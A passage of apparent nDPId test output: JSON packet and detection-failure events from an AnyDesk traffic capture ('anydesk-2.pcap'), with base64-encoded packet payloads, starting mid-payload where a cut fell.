S28b9HzMW4moJPcGpRuODq2aFewwPHrBtI0gMOJDUsnhGrK3PWDfu9P7IwBk9Iq\/H+BHx4Bnyro4QcxN8gngt1XqYhfomGJPJ22CTqCr\/2Fy+jC5LC6KfaciD05p\/1gp1+9dfqOFC\/7xEZxc8GN6YCWxaVZanMsA\/SQXdYPZ\/IPaWmBLBpLOfdHnH872iOIhcxOQ2oNsnG\/kRgEjfldAd8zv0bPEXDDviR6HHIJmXGXIx4nqpCWSf4CxfPa\/tBCA+ebiEYka2549HxuYfdj9Lcg4Jh6cPkFLxZEO1la1CEhgzGGuGhKotol9Bz9p23\/BdrZI9PiRZN5OpzSZaZjCE+lWMOLBir\/yCAwrVlNcz5HLZ2kjVo\/4mZaKD40\/MixaNmoDh8YjhBzjqcy2Ist+49lIBBZOU02+b157cXq67wla2tcz6uLttO\/6j5DtWeL4N9b2ZwyAu9DPjdN1LwnGj6gDzD+zI9IbpTrh24W9+YD2LHpRCEsGE78dkZ25nl37c\/9XdsbOUOWqu55JhN88kyP1FqpCcLmryWV2OSfSFlyB3NJrIqxUt5UxDAHfxUaHHCndmzhKA8gBA0AYuF1Xrtm5yCfKLAC8FlPI7N3QWLp5iNM7A9iTdjjSq87eD\/beAABb85D190Vm4AkQYVPRDPhs+RZ5NpTzx7JEJONfd\/RjPwRoJ9fUiKJ1fWg0VtcBndh2ro8yxexK\/tyPJT\/y9ocG3ogLZIPnEHbO+laLXVaSvtvaAGBFsF9NU2QhvX2vznvXertNlany3eEi59uZOrxSV458D4JScWTtBys4RfdUVQogHm38PsMZd\/xsIYVBV88wd+AYHwaebnzpWNPho3JXkL71I9P+1FrU2rNfrEsH3TRNZ0isjTmaUay6X0LIXmW7Gjc6keRyiQtIWQAAtOgnJwp9qNIYX9R7\/lpkHZCRqBQcmUoBRtCEKua2J3gaeyX5xQZQUhEivTr1F4YWpAYT4lfsIPkyRc00bbbz17OSnzr\/XGvWSZJ91cjeyZIUl3zMbX6fgaAnsNIS2cAPQBbpIxxBSTAh\/MVTtaUeqqMCZal4ceCh3wZUMeYRi7HH822yav613Sj7kUm4DdcHdC1gdNdXHO7NT+G3W4E3Dc+RHBnE7ySq\/H07o0c8KHZ+Ca\/k3GsFcKJJkFEOpxFrtCWTw3A0eLKfrD3gPNbNLXpvR0gmoUW83qYUXB25PxEh6YoNaK7E1m391V348RSamt4z+3jT\/ObFDAIOzme0XEyxkS4IunxxzB+eTCEN36qq+KtScsk7K7MvTHc08O7nlet2ZcxZ2vEwJvqF9uX3gJQ1h\/MZz3nBEWTzbUZX3umwfY2kf6Ph2QpThL4q\/oYjfJp0n54D4oNrSW7q+UP6Oyc2MxRwLhtQmBZd+QBDQK3OBVflcxJ8I7G36fh5eOYn02OrhKVb5UBiiPSOVyrKbHKF9n9ogOF+ASqDxhei51itVOfKYwk0P6hOcU6YsokeyE4QYNp+b\/1APUE3x3Trpp\/bu2YUZGqrnaqfjMUo2yT6+i1CKLSfJRB3zIQJp22eq\/Ks\/lgLQPo7gPAt4DE+V"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2040,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +07827{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2043,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977614,"pkt_ts_usec":983558,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAg8lAAIAGAADAqAG7wKgBstOUG56PL+yzWcRHc1AYIBOExAAAFwMDFXdZ4hNO+msW4OCjKcb87vWmxdnobB3B36LszyQ+ExMiGRID2WR\/79CbBzq5XdTSEOlj6svAluB8anaSgko8+fYohmQhtOxev0DX1\/MDmc6RT1dm+X9GKEyfrhrL4JDm+V1BEbyyrMlXkyLKQiO6C6qVg+UtsTK3ZajlOxfc4AFpZ1MTPMqke5GqztSWMx3N14P2nmn1FesKiJ1L8lbQsMUESMK8N7uQA4bvmM4BbI0CrqwL5HaVyx7FbzZMLOCf5jKFa+8JbRAS54KqJ3Ej\/G\/RzdXf11fkW+HqxR7nGFtMk97XE4KAHxr5n7Fe4t40R8nrN2FRUi6ACYUmPEbmtheq6cgfrmSTQmwp+YFMxoF2yXs7EGuz8fwGfC6Kx3C2E\/ad\/zHS1HDu\/RuuaQJvqsOksNNAB7vSecejxuatlv4jyMUwj6LfIUUUTE18Lek7Gxw7EfM8RA5CRyURUSr7eIXvt\/07dTza5WAsyeclBsID6jZDjhIEYNaaapg78HLyN2YkKYgQUaiWp6nkxyI0RyJVnub7kVOdZ8h6D4NjgZS8lVqyncVPAFdnT6uBP+Q7YdIlEEcWdg4vxZ5eOhBz8BlZ5x7SqqZaUo8dlgexlfdX2a8rKufbuBGcP16B9TznlVg4FKxxB2MC2MbRQqgCPmjbP\/\/SFlddAnJd7mV1ckAsuk+YciyJwc6HyvM58x4b89VUuuFZMV2qKtP1FD+YQOYnz\/omU0Uu0D2juX9\/tBnZWlsEbFiBcN5Eax+wAAHOCOlBPlPRsEaM5QGb2DiN3DfgRg1fpq3Xo004vdX7J9aT5cOrfGo+XzCkgD9vggYQu1FPhCm7zOWF7EgtY3Ed352SRvbC6xUJ+TpAOgHcN91L8fQiQQQLKqHCPInpUV\/u22w0tzSVftsRe4Q8frk1akfDWgeU5fbbsOAoa4u1QGdyGsfeCorUksYnR2Zu73R3xMEjZvgmXb+t7Iv227hN0A2DUTqGxaYoOpotLN14zwT7X2qxHDh5uS4lMO7Hsj3MkkLAzepzuap02HoydJs0sypldc+DsX7HyIMzjODMVPueaQKKKEjdYXIx8hY6OENG\/nZP0Z9HeKBEJmIhz3puHR0e+nKvr\/qHp0mk8Tp7c9Xx2vxHbR7nELXDKEzt7owu7crtz4R9eTrY8WHDQVTMAK1A\/\/43VE00WAgx3NtvChE34J32TlDgWu2t7P3eOpbzI7C\/fDELHD\/YRt3bT6nsD8\/\/GeoSbikqWcIZ8dTWHCfOsiqWHDjXdWiC5dJc0ASNyLtnpUO61cz7lkHHVVwqF69bXRgqapRDAHk524xmrQtEpeXVIPdrw\/67BHMSZnBIFSlDyZH+gQnYAKfei\/tJM7laD7vmFmr0yoMFu6W77x64GkvTCENAgcsjr0ugrYNX+E3tMZwiPMgUw7nXGdFFy5+pKwtOcBv7\/jc\/\/Qxv+LcG4nBS3d5Pcq42LgqO76KQdLN6WNN2dDPepTkaBF\/ehFqJ5gv3JJi2sHH+UO9+txwUAr8XBOvBHoNiWAqU9h8oPMC8fKL0eLktbYc2cLvIbmNKrj0CEBZ9ggbmkjIBIgzj1j8mTXO0r1QaqapTdXmyUGdaqWmZ5M6sF0XIoG03raYXUWdi9Wazzaj1lv5G5rV7MHbw5usSM9GA4B0uWhvc2PhXFIzpmpJbgxBIgndjDRLunnPFnjGZo6jC8h1PIuMMjpMvFFFMnQUg5aWReFUEdn0OKBMvYB4ropg1CVOcX\/DwjjTVmTZ9gf2U750nLWKG\/PKVVOl6g+CcQRMOBkyeQU\/awpR4lc0ulSTNcCRMQjfUm7urDkxm4BVJ7N2CZu0Dfblag9cMe7e8cODuWP8BNbyA+9AueHWbGCcuWMiSDwanmNRwJF3fM5fCFRqvGlchRuHfBYxakBUyASRyzggNUESn60eDznXK3nBnOQ5DAhHH3Zrii+HxgNDgBJhnhA3B5VVHFEMCC2ACO01881SxtBtfX9Wl64F7ZCdAU56wDQklWcwRqnDJpLkVWq90j56uFCZRdXhg+OvyOmJCar3BPH+DWTa6r27WHLdiqcUUuq7M5XVreNmb9TPxDl8yOcwISW38JhCUAKJ22a4wJXyOi\/iw6N9QXssFLrMlk9ngs1Y09a0TBIEkm\/EAlLO\/kZh3ZcQN3H0I72bmq3FvDMOqqXTr8ijWgggOGzi5uHrKKcgT80MEkRwcBS9+u5lWWyoTZbuieVmU1jdSMb7CwlEItFtnri\/N9XsKGETtffjJieynR5bskNrLrxgxwOYKwVdJpxiCqZugW26FXTuFkKoCgSt1xDiGZ9Ncv3c8yCv4yuDArmyM6bUGCPkzSathmpejSaZobXgPkM8clkZL\/T2jO9D109EsqHQHTJHcOx2+U9yfZkYdSB1roHiGj2csVGRrr9AYTUQrKFxT5Jd40uKCX3VtlKcVS0+WL0TIaBU7PZXI\/SRTph\/MsH2\/SN4RkHtgdY\/hqjIWV7iNoqE7\/p1s+8PPDRMdlo8hFPbL+bkYIfyiXid31F4eYhoF4tvkuFOu77zZZxsuoTw9JOSHtO6qs9Rk6J78XyUESZal31pqOGhs65WV5o\/spgcQLMAUVyrHwoJAxHWTRGXPgc2jCFhezmmLUk0lvOXEsyxCR9RcaWrPvFc2myPTmKfDa7KFOj7sVq\/yCKbqQfmE8ZJwpcW9zH4bl7cQv+1Fq9Yk76SUGh1RMf4Uy2Bh\/jmzptjhkJF6kChyd8OIRTZlk2WONpN7V0XVrV+lDGXDorIR78XOBpFKBwybpU72itcaDWzSmphUlDNNvFcPm+uGcGzhHd4fkcvwOClQHkpRrZ91Wx6lIoPnXyT0Vgy80zbb9wQZBSayff7DITVfprQZTQ0tuWTjOUqDEmvpECOWOhoMYQ2GAYwwVf7q3y2uvCWzyIIzWBWaa1vn1\/kwdP1sRv9xzpmaMi17LfZ2UCpIyQNpsxUyBI7MTYD2LqMd9loDKEuDevtaD3\/C2PC9aTvZlG5v1wOSiMCXNlGW4qXeN1nDpwO2e\/E5coBLdJ1S8UX7U3Z60CtfuoNCnLMsB8juIUJY53AsTI3qjMa\/YZs2Jy73b9Dez8fn3s0S8iolgSZc9cpK6indiyJSyzrPvjQgiSlUvaNUQ\/hapxdUNr+NS4N4FLkE0cjlrwq\/AjYDEBLlq\/GTPv1i7ucITzDAl9TfY06EiWdaPLRIuXJqEhdQXBKTycOmQTBi3klsluDhOTzZ\/\/zxyOePYVJqzRTQpSg49LXaX2sn3c4+Ix87dz1FlQiODE2YNHRStWHdyJ\/SKrXXWjtEAiwDohMcmyB5Oa\/lP3xS2eMKixy3yiZ0U0LQIAzQAcTvg4B2NhSM3kmp5lXPZ5uYMNDO6PxvnlQ4H1c5IINvqcolPYiZ2PBui4RFXE2IfKJ+VoDMKnNwfe0a\/bMH7b5IRRsteNyasoj3odJyeRqbW8FW84Q42or5xwMftgqH8GypfqZdmZIfZfOlOJqCYkZQuGaO1l\/ispPnKpeoRU2O0SDNAURYgKlO1ou\/4OuMrs0HdJ6N2MAo4tdhWEcU00\/ylKlACMiKI4lD63ACx3YkxK4WLEp+ovbBqm7CSShF1rynaU1FLb1MsQCDxwctlkcjbaIUi6EQZuB52HPoKOkPCL2uOxKykbUQuEBDxUp9gwh2Px5u40YCWWGNB89JlgqXYE6vaVlwQzqJopIAprCDtK0A7NyCpuGLim87XQ9L2YLQt\/g\/i5E1SFExNUs\/u3xAtY90xw+0lKYPvSwwhSp5s9IHowANdrmhUN0uAisWdW07BtFiv8nS4W1TR+ifU16C2\/3fFYTdH3liUpzb2HaygoloD6tdX179CQG0t3uda2opyUQi\/JlQGWsTwiotr5ouZu5jpwISleSUc4HKdc9iYnCLv84dZ2afUge3oN1RxC9Hw208V8FA8e9irV4dEFRfJHbYE5Ocs5BZuydyGlVnkoiXi2Apts6Kunf13YsYqRkFl5Vl7rWfjAx7HKdvK1nQb6KBu+guKKndpcv165LG7GqUS4YWP+U8zOH7ALKGnBeTWUU3LCSi+leKV3p9CEAMSCWpgyeeEF1XITyzk3TG4qFXd6DP4jP3qioRXsEqHBoKrOinXZ2gXEw9JiqG8kvIF1\/JfqwCINOdeKVbCzdAFl9u7JMqtj4Xx8sGOtsKef+fyP078xt+Sit2NMHwPJKlLDimV8GWhKoQ7kf+osqutvWHOQhffccaDrszxFIa1arxX950Z74+Oh8dpCAyDd0zX2wIrzbOBdDkEGFODlCx6L7eIBmC8MbYsG73gWavRziPBoYSYE6Je2G\/aK5rLy9TsbRM+Ah5XarOObYzERWpQFgXyWmauBF387GxEGwmd+kBEPaMIn5j7v\/nvh61ydll\/l7vR0gzXR6mco+b8SmrhiH146dtXRNfn23uK9SaWW9AnRzzAbnc27cr56N7nx3QVzeNJa+QMsp7aLu+jbvDehccd6Xbf3JDd6GdD\/a6QOJy7c4ac273xE9CZbtAMZtyQKkM8AAys6gya9qpuMPcljNtAiFN+agqACS6TFkyBuTOK0lK1kDoez9BYd5laexQw7oF7\/cPZ0CAJaBjNGsRmvxGDTPQR2Uuy7IMNx83r213sLAVK3DIEenq72nuwmysKSIsowwERE3AvMSNY\/X6jVeUILadAGioueV3D2YdfuzDiRLCXRMnMJukL4TzHDyPZ49If8bVeU4Ls6tawHLX9IRuawo0OfPee685G4+dXU9BMclxudSrFZLJs6ZC2qYEEYQsCqspATaoBHIoa\/1LDIqNeFLwZolD5js\/UHWmY3Y1FuoDmuaP2SQF161sDmTe+39NPSuhm8Q+EsoZZpd68oZD6l9b+UqTB4\/\/6d5cQVtVLKt5R5sm1N239I577Sp09GMKN0Ba9HC\/bymfB0wEuhVJ1hbNk2HZQvSBPRke4UHWa\/FuCrsT0lS75bGab1ok5Qc\/OxKvzYihOwR\/P3vgaK0n8ZdGKdtF8Gm4OqdOaxili\/nRnQvgtAvYHx5zMxnD2QiJHGhX7YwQy\/6Pbac4\/7ZIolVV8fjIadPd7\/fq79Fk7lYP46YR5UlVPKT7fVMUFsd9aO3o7+QnLLgydoqJQd7f133oJDpVZSQd6gxctx9YXjBK8YdH1qTBXt74AG117etypMcg5XOaavpoZz1PngM5dh8LG4kZuSws6bF4OF6GpB2jtJpUzkgEwbD0MGTm1gGfIXwNPnHASvsGnXik15kjHUTaEP3OAdJkkVW9rbq+W\/hebQdA85M1Jrn58FpMWKrwjg3AnWtB4moRBvwur9a0RSiaL3CxPDRwF4clUeTw1Iu8ekIgF591vqqEzU9qCSswJnUpL0OLqhlooPG+kJLRJt3f2yvHJIuRhqPZAv\/npewo3\/\/foJ+3ZaZislj8tAjI80eTjmPtk\/sZVmbXs+DS9g9KgIMAe6ziQYR7CSNBCAOYyQ9Eq1I4JhQG64qoLn4RJLNY\/gMkbLtOJmb1ybMKjy3kb0ZLTeWsb438auQQLzi1KAEumYC2V45gPEExUSJeeshSO9l4J4eVq46sXxlaDTU6p84T804GslrgOruG5BWMt6EWo+CYy4+Zw4Ec\/wW+LAoQLDyjuitUYhiwRenEGlBd\/rUuwwm8UCQmHsmys1Ft1U0EQGFBF7OXoS0v3SVKoa7QaKkaOntVyfw5LXymAm\/al641G7De3yRRhtnc7VSzQuPmA7zpX4jZkDke9tHKKEfE6WyvMwoo7FlHvsI5hWMRnZZIR5w9Bdrchnmizzqw9wl\/xvofmSSkhfMnNAq85gGg2qoBBxtiK13WTRZn1vi4vVaHJI6zCnmFTerPts9UwTVqe1HcHLWg+y4q1x3khzqizPzmvT56rrqZA8REngt1dqeJwO0dolitMygZVlVXACyhYwPy1dJ+B5D5zvfUUII0a\/AX1ByInqj1UGfBPZMTuPL5osIM90opsUvQLWcQ12gNupIedTtDJIMu1wjGKrogDRinlfYiWX2T15Nb8lm\/tKY\/+yR3Kmg1iRGmjfsQxM7sFPDZGMCsltxzYMcGA6+NSyXFsKVVA0scE3mVOQNEnzP1FbgaIYWFAdRw8hEhqp9AZ+W22aPja2\/zTqvg2pf66JpcZZ2iN4jMbJz92IqfG3yj6Eckw0w6TW1XyoDAgnEK8wftXGkH+U+el2DGGvinblvwLbB5up116Eca6hcAb\/5RvsDHlUGZiP6QzwTjtv33hweYFqhMN7jU+8K6Efe2qvgS6F4N4AbjwjYNlGy\/LL41BeDjBwO9Erp5hx5psXQbF5Mj3m0t03Qi58A7buOjxf9c2+OsD9kskMqlM\/o9EFJrJH20BVIIJDHxbcuu4S1OpbAqwccSjM5rqzg1ljGyAtx9u1flVsXN2BzILUzRZ9dWAXSKrinMdALoyt54YEDYzZkjBx7b2f\/AlgpPOw\/Q4n\/Ury9c1CJJDI\/Mm8nDszgkCr8dQwWYm4QO1sPxQETRHJh5+R+d+IlvEr6dnZzQhPI3hO2vcIhy3YHqYf5K4D4SCrsyoaP21Szg4Sj7uzlkHPrIkFWIaAPk2gnog\/L8CWsG0u2H3IE+djirG0ah1MHPHObO3zhqudXsSbDoxhYHGnoRe7V1a\/h150n0q3rxSibPPm9WVI7W9rrtndxUvoM4gnqzVdR+lGBJkSU\/hyoR2TTGubQlXnUbk\/tpgfP5k6oT7KV\/Xc2OxB\/KhtsZe1YQgDlzGy4lfzXltRia9GmjOWQQ+Ov9HN1aRvbvlByzeFZUiQbKcHIHm3r\/NbdV0pU7AN\/WPXFwwj6A3WPiQPpKdiHr36WLwQCAesMzc8av94fpUvEqeCSc4eVdv3hdDDswCrf61PiIK8+c6SV4WFLBHLh5fqZIlVx8PGnGYxk9FPynDAjrzilaubSl8GDTxfUh7NoM9fX8F7cZ1Hb39z6wIhIvglKD4j0ai8irXwLn43qPrigi6aHClbt5MF2RFPh3rdX0Gn4BoZFFfamtBF9ZBH1bhNErk7vO2cFk1UwACTQa+uDdy4GsNwhE3pO6WpiH9AlsbeSKElHOrOWPVqMbSdelZxlqp\/jpCdnqoZpBNwlunkWUEGeGrWua5T3DpLypFJmCVpisBWgnE2owrM+zctMJMc\/uYDHBeZHrdB2GtHj5Kx12fpIGxqQSJU5lLMPTQgZXqZXHbJZWf3TAjGXsruEAPtwu1oWr8\/JrahiVxvQukOVgv3rsRaWvXTGSb6v6CZosM2NltjAYgFTyQ0+MQ7zdIpF0ug8lcidqQk3ggYc8qn89vYALvEMdfjQtLH6owUekfjURQH4S4HurM3r4hC3wrA=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2043,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +07830{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2047,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977614,"pkt_ts_usec":983991,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAg85AAIAGAADAqAG7wKgBstOUG56PMAPLWcRHc1AYIBOExAAAFwMDFXlZ4hNO+msW4pZ6Vckw2kl4zAAVFzD2+xkyEmvMp+fr2cP7SknZTSzbEJcnvHW22tbLHVXuSeGQMjt0HytOpCQOotGf6ZpZUijrA0VWPnOhHXQ2qdI\/1anMbMqfli+NVrh+D9QNU5219uREiG1yf+poBnB8UnZ3p4RSacl1OfClak7Q\/fDRSyripLgVN\/fhtTDUFRMGvAxU7kxKeXUjqbVxYJLIwHsxof8Z8pJZ6SCMoFYYUtVhP37SayagqkXwsTDd60Mbsc6tYUAcmsueXlzG9yObUCtaWzNkKdkFeMg2FEos1gwq8KLLnVxNyWJXsqyrxp7lJVroa9DgWM+VbfiUtX6f05gRe4ntrt\/J+NtWJJHkkBlUawTjdv0CR6QJO0q4WyoUex+Lo+r8UiAZZC\/PZmGFQPF5pf3x6\/1cTzKFHwko0xcy0cZmGZ4ObHzf5rxZ+Pcud\/yjK0LYMgk+cxcJz\/l8MdqS5oYRaiJd\/IaPMd9syghKjwiZlcNtg12FOb2lEP72u04ymJRl8ru9QMR2dTRblHO4nDnaClZXYzzw5xj6GD239ZV3MLYKBUuMWbvi90E2Cw4O\/fS4gberLLXjbKefqY5tzuJWCLXFrcL6XELfa8uBBTPCmfk9B+KkfhfYBDPctqWxJzi7LLYY7xPdjUM42\/ZJPWkgYDjedXEE5fv\/1NuDz+6u7DjrEkfTgTIpMX2WD+f+XhS5JXQ7KqDsBLmu5B1TdKwf6bdkYcgO9YD4XnNXX4dJKdA1NSJUnVKimezT8BLDKmnSGspHEK+CWpKv4NbqOPd3ZKGwrQmljOMdxfIAx7GZMeUiWqUccQtl2Qi\/91JEW5NH3DEEuv77hrFCA+XiZVG+d\/JhoK\/HegDzgfR92bPQ10ePRZPKISm66GF6UzR4UrSKKTd2tWPNgTcaqkEp5\/LJn7Vj1f3XnuqnFVX2wRgs3wnVmRuiLAy2qaakLa+TWExmg9jSYc+\/rBNV6pS90EvmLyqWxJCaYF7p8xb6F3OkClDvkUJV5mSuqYK6o62cU2Hmpxck++CiEFOyU9xK5+csEDXByHRO\/1MeJKqNe+wpLH2rj6r2i09gKj3ZYVlxGRf70vluSOXN2hIhLNE0obD77oZlvTZUnMc59ZAHVjPIuYhg37VO0nzk3xhcwV2YsxcwD5FEbKrFxjj0hY8ml7FN9VdIiJA6kVksC6B\/gF2N2WEBzmhjJ+KbBtRRG44iCyde3p3JeXn5JMwD2BP0cnHNX1RWUznhOMomsCoqBBDcuZeEyj\/BSbLvk+lpIuJ3cGELCgBr3bL8D4wKeoPSXe4qNIzdoBQHXyegoR+MwmKmbUgiUEGTTVhseACeKmOn3pXpz5F8p0oQWo8Lt4G2XPkSVvO4M+9585zG6jNXIP\/1uYYSOOonitTeKfbF2qUc\/NMGoeAkoW5orWHKf8F5RP8LFr6zyxckNi4VLUOlYzdpdT9mDmP0r\/bsyx+kuKofWCfdjxOBxonMc17eLoKJotRPrb6tlQQRjsFoRGGBBNnM6CdLrW2HIf0XXL+9jQQJzg27if0sG3zd+FvQXGnI+HTECul3+visxpAnQ8VoOEn+JtxVHld\/tLf97EJsmnX4B7OlhydMLW\/\/eDaIU182l5WaGnSPoAR0FZ97VglmAMlvdsJsQ8j7V\/pBuwdWQasMPRADmtaSmz9r+CdD1MysnpJA9ZCl1IhT8YWxti15hh7\/BEBBm7s6dk0YLzn7fiC+vRpyA76lbqdNYaACHrAqHYnXngRyu9McOxnkbDabfWzuk\/XIsmF7iwpCsKksqORHhDb4OLFbhXUxaY0TDWlTvoylWRM2fmCzn3qmLxbrEEySFUlIEgjof1wWE9\/1RJIlPQfHvyQHrP\/ICda\/XAtkXk1xnuBsqOycW5PCINVWXbqnnYBfbg+13BO4EKjW2u4xBX7bxeg3OOz\/YrHOgzNjz+0ZmsUyjrClAU8+8MprFKwOumu1QYZcWGCcAzsvq\/20bQUpl3zrw8cIRl2LMj1sjtXAcXoHWHnnQjCF\/h3oqtkCpzoAaTLeCPM549oFjUIK9h3QUtKezWlToygczkpPuURHjxqW8g5FU\/kMe91VNhA+bdB5Vbns6Fzppcb2v\/OK0OBvsMrxEmrqo1okIDvaPY4A1IMUZ9LHuo9dTo7QtKL6AqDO27n7qiBH0NnvK3BdXiMUy37KoBFFFic\/wUi5sCyu8pK0QPFaYEYvyBaEml8EPhokXtLr5pYoKE+K\/XugNwp+672VSI78zwvTXUKAtW4asvBC6dKojXFo15zVnT1pzn8S3QFQoEP9niIb7uch1QF+4JvbFWwcD5ffhZ61PscOM8c0WnEdUygRMBGNmJ82we1cTfeV0ffYsjD5cy8wWi1lUrbZBztpHxys90ak1uw7+qRVeL9WQiWvddwTPVuvBYJW0y4lPxnwtadrvXM\/MCG+UkZN6znbHv8dMNvoP6VnpYyy3iV8xG4DQcHCHehcJX9fdqmQDtFBOZ\/TnElsueiEnvNZ32IfjqJO9wWR5doEdELcv0dtzQCgTO9YW2oausm0aF80WhwJaexfXZClUQeRti4+LqXJQqjfgZw2XJepsGB5ySATbTaqGtKFD9sE7uShS6sUP0SmXBpxDw\/S61eblRE9gMYh1y81fvHe12e7+ur3v0ir2tXBosap5UlTKnAYUkqNYVHvMR9mi+t6GWV80DWegVAAx7cp+F6Wxu5QxF6JL9qslresb7RDHGUdtJqlTwInegqSojsWZsPXiUoZ+aMKnqn7UrRMG8vEHCCvdd98SNJuANe2bPqCeIf78tQxWURu0tucvJszyam80FTxznc2rV9w0JO8hFKWrxyqmQpEbWJwQGlC0KP8pouEd+DQbUax1\/H7CIDfsRrUpGdCZVcKoO16Z5PTEkvcOKL9WV6UxGMvQFy4CTp0x8ZUnGPu0PtWdf\/blzAkokCLyKjJ3Mjekb1mHR3L+b8CGshrIWpfH60s\/WDEcCPQx9JDNMxchLhTDcTO1H5PhXzOk\/kGuBoZh3A9kSBsF7+oRDtDVbFMQFLndPGF22\/NYG6GJFezxIJKc2Kzamx44dUKfdMm4WZVd2ZC5o\/KUw4n3tCC3gh9a8DHktNZE0t9Byak8i+q+IsDA+rklI+ZNbhnWJd1EKV4vaqcCuHXu4jHMOOxf2yJC94\/mK4zC+WrHls7Vub+X5e9rY1R9Udw7JLAQD+x+Bk\/fDRULEi\/h0mpoeDu\/\/fsxi3OZ+aXg8BOzQmdP27WuSCRBJdKLA1xKOELXUV40EHHamATlptBkb4TD0RBFztxQVex+ozdWRILKngrzBJaqdKWBz7WlxWAiQ8CR4BuOfFYAhfhv6TslDb947NoQ+SRrhBX0arq6NHGEwIrKV1V0JWspaEvrMiYBu0\/2EkrmY\/iTSM6FUMla5qYNAuCykYZtW1Ajh1MCwkhj7vKnwhudRJRlcbtMgd+sxS3F64cBQT0lafkNpDFFF5KxPPzp3wmvJnZO\/cQ6868NAr7yX6dAlf4dOx0SKV5diC+5DMQFTm2iF0tm1hReapJdGmA9acAzSjjq9j6ujYEav0JtlOJBFvkYFZ8J0chq41SmViPNyhbQpxC++iBApk4sfD8nUqtOLQExyV0QopP3WFYwpOJHjTStkQsegRQIB\/Abz1DTX+fUsa0P4P2rOm\/Jo5KXROBbBJQRCBDv51r7Vg0PhV4QMeq8IgyF1b2roJjkInXU99VIPFJLER1+8tcy8zrkkoXv60LIsF7yk3fMCDgZDuV1UffK3fQv7p37W5dL0wJBe+8mv\/tSkqRvz+zwSoemrWc38XiWoGLiCvRrIzTNABXlAtcFPyk9te8BKB7P0Q+oCtPnc8KX6luqx+lBl+FyPSVZm\/2EeCZ\/lQO4N\/M5dy8Lu+a+s\/qiqTzMeOhphN9W3Lq0wtTs\/xhYe+E2ti\/gWNfqTbJmv0HNqqNt8FzOkBm9CJNcMneXhLxtKMKZ0q3oqV6NEaXlaH71jP76J0MIfksuq0nZnQqZAGybo1Z1zteHkAH6GdUJj1GpUPSJfR1j3iURdjLiVWuRiynkCTYLTFhx1XgtJMYKNqimofM8LbE7JeDNP35k3+4JZTfxHiihdd214csMJac\/BfovKp+wxNaa6TVf0wFTQ\/yPZwRlZOXS6Q8J3xtFow3LyMhlvZIG8lrWqZeUShCx1GdqDmvLQZyxm13nIDk1dF3irObhkaTZTf0vMtBkyF\/nfS8aJgeHXXp3gT32M1OgDqXRriMMGKuKMq43A5xqSFZSP3Cg6aC4kf6OODDlGyT8Qi0vMqu+HrdQffkuEblS5gzpwx+FF\/QfbM\/4J6eXu\/6d9Yb1uxhmyAAOjLIKAMLxHOjaHLEdLa+4Wkcm7oku8wBIywjfWWt1FNWAZtZv73kkVfQuvCxqPe1UM75YfLBWVlHgd1VV688fyp52+cTlaoMiRb\/K4CGl9pgxYDuM\/Fn5DOsLtpJhX7Li4PEqTSKzDKTCdpf+ms6ZFgsMqaPrOvUROMPBoyZksruWD8BzGYY9KKxvjj\/8Hjv82Qs9lXfIHtWOMLTFqojGy4CWNIdncRSklQR2yHtpPdkZm7\/+y7XJYJjFVEnUPIr8TZYbeu7JhPGClNd+9onaPyUY5h+8X65O8t0W15YA8ExGYPmXtRp47nQNeBYpwKaLI54h7oeOGyqLPN9Ejb+F\/8MYmQIGMIGp2GhQ8v3u7SC7evVWMjPj84mLsxdGL8Rinsa24zstxt6dI\/7CP2jACJFET1WmmAqImT24fGZ76QCfmspFUkFYrz5J3wzTfFM1bAOxXhUraZFDk8Bsu7kDav42e79njPnDcdPYowP\/iFHtUajZmQwXxMYYC2KIK+PqHrtvbnVtXP3tkeS+ihvchCSLKfnn0XwzC8lVeYJz\/cL42qLcofnLERD1h+xmPzqkaVyJQIPz80qLes70leGVichmfcLOupM5xe653Dl7NcgEpLsPHo5rssVQcyHjyIfboUvwXVWYnGOtGPVI7QHHVLcLhlx4s7r7drUWzi2km9dRbW6GUCrhjgKiTrzHuTq7a6iFV+HPHX0OKnC53CNwpoSBJNJT2di\/Su9QEA95FaIkJHBaH8LhekUwlfsMnIwk2uqMRsOXTpBYZwpFAsVCuFf8qdmkwF+2DeJ86CXnMSpXQHZVREevVP+MNfyyN4tK0gvWSSeM3OaoG70ajtGPqW1+hD9C+K0ybW2bLX8vTMi3EcMlmJpaNQbf93CMf\/NMLsPA3jdP5ihJ8LR6IJm2XzRKiYfTjOJ8DcYwOdBWTtx5+XwAEvIUiAV23AOvRLSlMcqaLrJVASsO8CEphu24+W8rJvqi3Uh83Wra3D69JLDtGl5vCKyzmFGpF52iat0WBVMuiqz1sWOc4HS9tLwanKv1X5hdimbP3XLDegoEbUL017ReiIXPGZhISxlnF7fOzhMXvRu+GVMl14rUR3I6II+x3gFqWAF+KNQ5z5LCkFhM8HuSMSJ0UajOsR5FGWGBnpFpfn2Tv6cM3XK\/aJTPHocTcu+8va0NT+3rKNbD62FzGYUGcGoXhgxiu8KxE+RbJJ2gbUAVUTV44EAidBq4XNVG0x0gan7CYVhENtEi8Ip5MHTlVfXHtTrmx8mO0hYyPO5Xe\/Db2fkP2Yp9ierXtsJ2SUkAfeswmr6liNtQQfnC0y7xIImmJWeMX8OlZs0CYzV9xhQ6V9U\/CRmhrp+XBQ1Vnbf7xWlhHajGbPntoYVxMYxutIQsHE2WCYVZE4WzqmkDg6QCYDLZlgnI1XSLk8B7LTppmmnYcOASQ85RWr4+3dpk1yVfIjr6XJFSI1BiRtLHVQgNCIIomSXTjN0zDGGnpzWawvR3LVESiyKSkcOLXQ\/j36I0ujM5k\/ojTna9GGixWxQNGJL2RGtXPNZJc5pjLBY2sHdsKt48i5DFNDG5nuNMUEHdvRXHgwc+v0w